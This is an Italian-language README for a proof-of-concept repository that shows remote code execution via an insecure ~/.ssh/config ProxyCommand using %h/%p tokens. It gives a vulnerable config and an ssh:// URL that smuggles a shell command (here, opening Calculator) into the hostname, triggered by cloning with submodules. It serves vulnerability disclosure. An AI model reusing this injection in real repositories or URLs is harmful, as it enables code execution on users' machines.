poc-proxycommand-vulnerable

RCE tramite ~/.ssh/config insicuro

L'uso di token come %h, %p in ProxyCommand è abbastanza diffuso per utilizzare tunnel e proxy di connessione tramite SSH.

Configurazione vulnerabile

host *.example.com
  ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p

Nota: nella mia valutazione iniziale ero dell'opinione che l'uso di '%h' (virgolette singole) potesse evitare questo problema, ma sembra che sia comunque vulnerabile con qualcosa del genere:

url = ssh://'`open -aCalculator`'foo.example.com/bar

Tratto da: https://man.openbsd.org/ssh_config#ProxyCommand

Cosa contiene questo repository

Un sottomodulo che sfrutta questa vulnerabilità per aprire una calcolatrice su OSX.

Provalo usando:

git clone https://github.com/vin01/poc-proxycommand-vulnerable --recurse-submodules

oppure

git clone [email protected]:vin01/poc-proxycommand-vulnerable.git --recurse-submodules